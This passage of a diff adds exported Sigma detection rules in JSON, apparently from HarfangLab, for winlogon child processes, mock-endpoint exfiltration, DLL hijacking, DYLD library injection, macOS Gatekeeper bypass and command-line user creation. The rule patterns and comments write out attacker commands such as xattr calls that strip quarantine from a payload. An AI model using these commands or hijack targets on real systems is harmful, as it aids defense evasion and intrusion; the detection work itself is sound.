'?:\\Windows\\system32\\w32tm.exe'\n            - '?:\\Windows\\system32\\WerFault.exe'\n            - '?:\\Windows\\system32\\gpupdate.exe'\n            - '?:\\Windows\\system32\\svchost.exe'\n            - '?:\\Windows\\system32\\WUAUCLT.exe'\n            - '?:\\Windows\\system32\\runonce.exe'\n\n    # This is handled by the rule baca5663-583c-45f9-b5dc-ea96a22ce542\n    filter_sticky_keys:\n        Image:\n            - '?:\\Windows\\System32\\sethc.exe'\n            - '?:\\Windows\\System32\\utilman.exe'\n            - '?:\\Windows\\System32\\osk.exe'\n            - '?:\\Windows\\System32\\Magnify.exe'\n            - '?:\\Windows\\System32\\Narrator.exe'\n            - '?:\\Windows\\System32\\DisplaySwitch.exe'\n            - '?:\\Windows\\System32\\AtBroker.exe'\n\n    filter_scr:\n        Image|endswith: '.scr'\n\n    filter_cmd:\n        Image|endswith: '\\cmd.exe'\n        CommandLine|endswith:\n            - ':\\Windows\\SMSTSPostUpgrade\\\\*.cmd'\n            - '\\OOBE\\OOBE_First_Boot.bat'\n\n    filter_credwiz:\n        Image: '?:\\Windows\\System32\\credwiz.exe'\n\n    condition: (selection_parent and 1 of selection_child_*) and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f3738a55-7652-4ebd-ad61-6d534c352f70",
+  "rule_name": "Suspicious Child Process Launched by Winlogon.exe",
+  "rule_description": "Detects a suspicious process launched by winlogon.exe.\nAdversaries may abuse the Windows PE startup sequence in order to install persistence or gain privileged access.\nIt is recommended to check for suspicious activity from the newly created process.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f3a6111a-10ef-49fb-9ea8-dbab6477b873",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077004Z",
+  "creation_date": "2026-03-23T11:45:34.077007Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077011Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/@simone.kraus/critical-engergy-infrastructure-facility-in-ukraine-attack-b15638f6a402",
+    "https://www.zscaler.com/blogs/security-research/steal-it-campaign",
+    "https://attack.mitre.org/techniques/T1567/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1567_url_request_mock_endpoint.yml",
+  "content": "title: URL Request to Mock Endpoint\nid: f3a6111a-10ef-49fb-9ea8-dbab6477b873\ndescription: |\n    Detects URL requests to a mock endpoint service such as Mockbin.\n    Mock endpoint services allow developers to simulate API responses.\n    Attackers use such services to exfiltrate stolen data stealthfully, or to host and deliver malicious payloads.\n    It is recommended to investigate the process performing this action to determine its legitimacy.\nreferences:\n    - https://medium.com/@simone.kraus/critical-engergy-infrastructure-facility-in-ukraine-attack-b15638f6a402\n    - https://www.zscaler.com/blogs/security-research/steal-it-campaign\n    - https://attack.mitre.org/techniques/T1567/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2023/09/07\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.exfiltration\n    - attack.t1567\n    - attack.command_and_control\n    - attack.t1105\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        RequestUrlHost:\n            - 'mockbin.org'\n            - 'run.mocky.io'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f3a6111a-10ef-49fb-9ea8-dbab6477b873",
+  "rule_name": "URL Request to Mock Endpoint",
+  "rule_description": "Detects URL requests to a mock endpoint service such as Mockbin.\nMock endpoint services allow developers to simulate API responses.\nAttackers use such services to exfiltrate stolen data stealthfully, or to host and deliver malicious payloads.\nIt is recommended to investigate the process performing this action to determine its legitimacy.\n",
+  "rule_creation_date": "2023-09-07",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1567"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f3b213aa-e067-474e-9889-ab70dd392a41",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096659Z",
+  "creation_date": "2026-03-23T11:45:34.096661Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096666Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_credentialenrollmentmanager.yml",
+  "content": "title: DLL Hijacking via CredentialEnrollmentManager.exe\nid: f3b213aa-e067-474e-9889-ab70dd392a41\ndescription: |\n    Detects potential Windows DLL Hijacking via CredentialEnrollmentManager.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CredentialEnrollmentManager.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\sspicli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f3b213aa-e067-474e-9889-ab70dd392a41",
+  "rule_name": "DLL Hijacking via CredentialEnrollmentManager.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CredentialEnrollmentManager.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f3dae707-942b-4041-ac5d-cfaf2f02fe5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092807Z",
+  "creation_date": "2026-03-23T11:45:34.092809Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092813Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1574/006/"
+  ],
+  "name": "t1574_006_dyld_insert_libraries_injection.yml",
+  "content": "title: Library Injected via DYLD_INSERT_LIBRARIES\nid: f3dae707-942b-4041-ac5d-cfaf2f02fe5c\ndescription: |\n    Detects a library being injected using the DYLD_INSERT_LIBRARIES environment variable.\n    Adversaries may inject malicious libraries into legitimate processes to hide their activity.\n    It is recommended to check for suspicious activities by the newly created process.\nreferences:\n    - https://attack.mitre.org/techniques/T1574/006/\ndate: 2024/06/03\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1574.006\n    - attack.execution\n    - attack.t1129\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Hijacking\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection_commandline:\n        CommandLine|contains: 'DYLD_INSERT_LIBRARIES='\n\n    selection_has_parent:\n        ParentImage|contains: '/'\n\n    exclusion_r:\n        CommandLine|contains: '/Library/Frameworks/R.framework/Resources/lib/libR.dylib'\n\n    exclusion_steam:\n        CommandLine|contains: 'STEAM_DYLD_INSERT_LIBRARIES='\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f3dae707-942b-4041-ac5d-cfaf2f02fe5c",
+  "rule_name": "Library Injected via DYLD_INSERT_LIBRARIES",
+  "rule_description": "Detects a library being injected using the DYLD_INSERT_LIBRARIES environment variable.\nAdversaries may inject malicious libraries into legitimate processes to hide their activity.\nIt is recommended to check for suspicious activities by the newly created process.\n",
+  "rule_creation_date": "2024-06-03",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1129",
+    "attack.t1574.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f3dbcafb-8ba5-4f98-8e28-4273fd3971c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092862Z",
+  "creation_date": "2026-03-23T11:45:34.092864Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092879Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1553.001/T1553.001.md",
+    "https://support.apple.com/fr-fr/guide/security/sec5599b66df/web",
+    "https://attack.mitre.org/techniques/T1553/001/"
+  ],
+  "name": "t1553_001_gatekeeper_bypass.yml",
+  "content": "title: Gatekeeper Bypass\nid: f3dbcafb-8ba5-4f98-8e28-4273fd3971c7\ndescription: |\n    Detects the execution of xattr to remove the extended attribute \"com.apple.quarantine\".\n    The \"com.apple.quarantine\" attribute is present when a file is downloaded from an external source.\n    It is recommended to investigate the process that removed the attribute and the file from which the attribute was removed to determine whether this action was legitimate.\nreferences:\n    - https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1553.001/T1553.001.md\n    - https://support.apple.com/fr-fr/guide/security/sec5599b66df/web\n    - https://attack.mitre.org/techniques/T1553/001/\ndate: 2022/07/18\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Xattr\n    - classification.macOS.Behavior.ImpairDefenses\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_base:\n        Image: '/usr/bin/xattr'\n        Ancestors|contains:\n            # folder\n            - '/Volumes/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/var/folder/'\n            - '/private/etc/'\n            - '/Users/'\n            - '/private/var/root'\n            # binary\n            - 'osascript'\n            - 'python'\n            - 'sudo'\n\n    # xattr -d -r com.apple.quarantine /Users/user/malicious_payload.app\n    selection_variant_quarantine_deleted:\n        CommandLine|contains|all:\n          - ' -d'\n          - 'com.apple.quarantine'\n\n    # xattr -c /Users/user/malicious_payload.app\n    selection_variant_clear:\n        CommandLine|contains: ' -c'\n\n    selection_variant_disable_attribute:\n        CommandLine|contains|all:\n            - ' -w'\n            - 'com.apple.quarantine'\n            - '0081'\n\n    exclusion_common_folders:\n        - ProcessParentImage|startswith:\n            - '/Applications/'\n            - '/Library'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/'\n        - ProcessGrandparentImage|startswith:\n            - '/Applications/'\n            - '/Library'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n            - '/private/var/folders/??/'\n\n    exclusion_installer:\n        Ancestors|contains: '|/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/XPCServices/package_script_service.xpc/Contents/MacOS/package_script_service|'\n\n    exclusion_mozilla:\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignatureSigningId: 'org.mozilla.*'\n\n    condition: selection_base and 1 of selection_variant_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f3dbcafb-8ba5-4f98-8e28-4273fd3971c7",
+  "rule_name": "Gatekeeper Bypass",
+  "rule_description": "Detects the execution of xattr to remove the extended attribute \"com.apple.quarantine\".\nThe \"com.apple.quarantine\" attribute is present when a file is downloaded from an external source.\nIt is recommended to investigate the process that removed the attribute and the file from which the attribute was removed to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2022-07-18",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f3ddaf68-f86e-4580-9e27-bf32f5cd4a89",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098477Z",
+  "creation_date": "2026-03-23T11:45:34.098479Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098484Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/SBousseaden/status/1550903546916311043",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ipconfig.yml",
+  "content": "title: DLL Hijacking via ipconfig.exe\nid: f3ddaf68-f86e-4580-9e27-bf32f5cd4a89\ndescription: |\n    Detects potential Windows DLL Hijacking via ipconfig.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/SBousseaden/status/1550903546916311043\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ipconfig.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dhcpcsvc.dll'\n            - '\\dhcpcsvc6.dll'\n            - '\\dnsapi.dll'\n            - '\\iphlpapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\'\n            - '*\\docker\\windowsfilter\\\\*\\Files\\Windows\\Syswow64\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f3ddaf68-f86e-4580-9e27-bf32f5cd4a89",
+  "rule_name": "DLL Hijacking via ipconfig.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ipconfig.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f3e408a0-7d32-47a2-8829-9b053dc12e81",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294255Z",
+  "creation_date": "2026-03-23T11:45:35.294259Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294267Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136.001/T1136.001.md",
+    "https://attack.mitre.org/techniques/T1136/001/"
+  ],
+  "name": "t1136_001_create_user_macos.yml",
+  "content": "title: User Created via Command-line\nid: f3e408a0-7d32-47a2-8829-9b053dc12e81\ndescription: |\n    Detects the usage of dscl or sysadminctl to create a new user via command line.\n    An attacker may create a local account to maintain access to victim systems.\n    It is recommended to investigate the parent process for any malicious activity.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1136.001/T1136.001.md\n    - https://attack.mitre.org/techniques/T1136/001/\ndate: 2022/11/17\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1136.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.AccountManipulation\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_dscl:\n        Image: '/usr/bin/dscl'\n        CommandLine|contains:\n            - ' create'\n            - ' -create'\n        ProcessGrandparentImage|contains: '?'\n\n    selection_sysadminctl:\n        Image: '/usr/sbin/sysadminctl'\n        CommandLine|contains: ' -addUser'\n        ProcessGrandparentImage|contains: '?'\n\n    # This is handled by the rule 0915b4a3-17da-4c9c-bf08-1db96769b345\n    filter_hidden_user1:\n        # ID < 500 are considered hidden by default on *OS\n        #CommandLine|re:\n        #    - '.*UniqueID *[0-4]?[0-9]?[0-9]( |$).*'\n        CommandLine|contains:\n            - 'UniqueID ? '\n            - 'UniqueID ?? '\n            - 'UniqueID 1?? '\n            - 'UniqueID 2?? '\n            - 'UniqueID 3?? '\n            - 'UniqueID 4?? '\n\n    # This is handled by the rule 0915b4a3-17da-4c9c-bf08-1db96769b345\n    filter_hidden_user2:\n        # ID < 500 are considered hidden by default on *OS\n        CommandLine|endswith:\n            - 'UniqueID ?'\n            - 'UniqueID ??'\n            - 'UniqueID 1??'\n            - 'UniqueID 2??'\n            - 'UniqueID 3??'\n            - 'UniqueID 4??'\n\n    # This is handled by the rule 0915b4a3-17da-4c9c-bf08-1db96769b345\n    filter_hidden_user3:\n        # ID < 500 are considered hidden by default on *OS\n        #CommandLine|re:\n        #    - '.*-UID *[0-4]?[0-9]?[0-9]( |$).*'\n        CommandLine|contains:\n            - '-UID ? '\n            - '-UID ?? '\n            - '-UID 1?? '\n            - '-UID 2?? '\n            - '-UID 3?? '\n            - '-UID 4?? '\n\n    # This is handled by the rule 0915b4a3-17da-4c9c-bf08-1db96769b345\n    filter_hidden_user4:\n        # ID < 500 are considered hidden by default on *OS\n        CommandLine|endswith:\n            - '-UID ?'\n            - '-UID ??'\n            - '-UID 1??'\n            - '-UID 2??'\n            - '-UID 3??'\n            - '-UID 4??'\n\n    exclusion_groups:\n        CommandLine|contains: '-create /Groups/'\n\n    exclusion_jamf:\n        - GrandparentImage: '/usr/local/jamf/bin/jamf'\n        - ParentImage: '/usr/local/jamf/bin/jamf'\n        - GrandparentCommandLine: '/bin/bash /Library/Application Support/JAMF/tmp/*'\n\n    exclusion_eset:\n        GrandparentImage:\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n\n    exclusion_ivanti:\n        ParentCommandLine: '/bin/bash /Library/InstallerSandboxes/.PKInstallSandboxManager/*.activeSandbox/Scripts/*/postinstall /var/folders/*/com.apple.appstore/*/ivagent-complete.pkg / / /'\n\n    exclusion_nix:\n        CommandLine: '/usr/bin/dscl . -create /Users/_nix*'\n\n    exclusion_nomachine:\n        ParentCommandLine: '/bin/bash /Applications/NoMachine.app/Contents/Frameworks/scripts/setup/nx* --install'\n\n    exclusion_windescribe:\n        ParentCommandLine: '/Library/PrivilegedHelperTools/com.windscribe.helper.macos'\n\n    exclusion_installer:\n        ProcessParentCommandLine|startswith:\n            - '/bin/bash /tmp/PKInstallSandbox.??????/'\n            - '/bin/zsh /tmp/PKInstallSandbox.??????/'\n            - '/bin/sh -x /tmp/PKInstallSandbox.??????/'\n\n    exclusion_intune:\n        ProcessGrandparentImage: '/Library/Intune/Microsoft Intune Agent.app/Contents/MacOS/IntuneMdmDaemon'\n\n    exclusion_hexnode:\n        ProcessGrandparentImage: '/Library/Application Support/HexnodeMDM/hexnodeagentd'\n\n    condition: 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f3e408a0-7d32-47a2-8829-9b053dc12e81",
+  "rule_name": "User Created via Command-line",
+  "rule_description": "Detects the usage of dscl or sysadminctl to create a new user via command line.\nAn attacker may create a local account to maintain access to victim systems.\nIt is recommended to investigate the parent process for any malicious activity.\n",
+  "rule_creation_date": "2022-11-17",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1136.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f44dcd3e-22cd-412b-8c2f-23b8aa848803",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
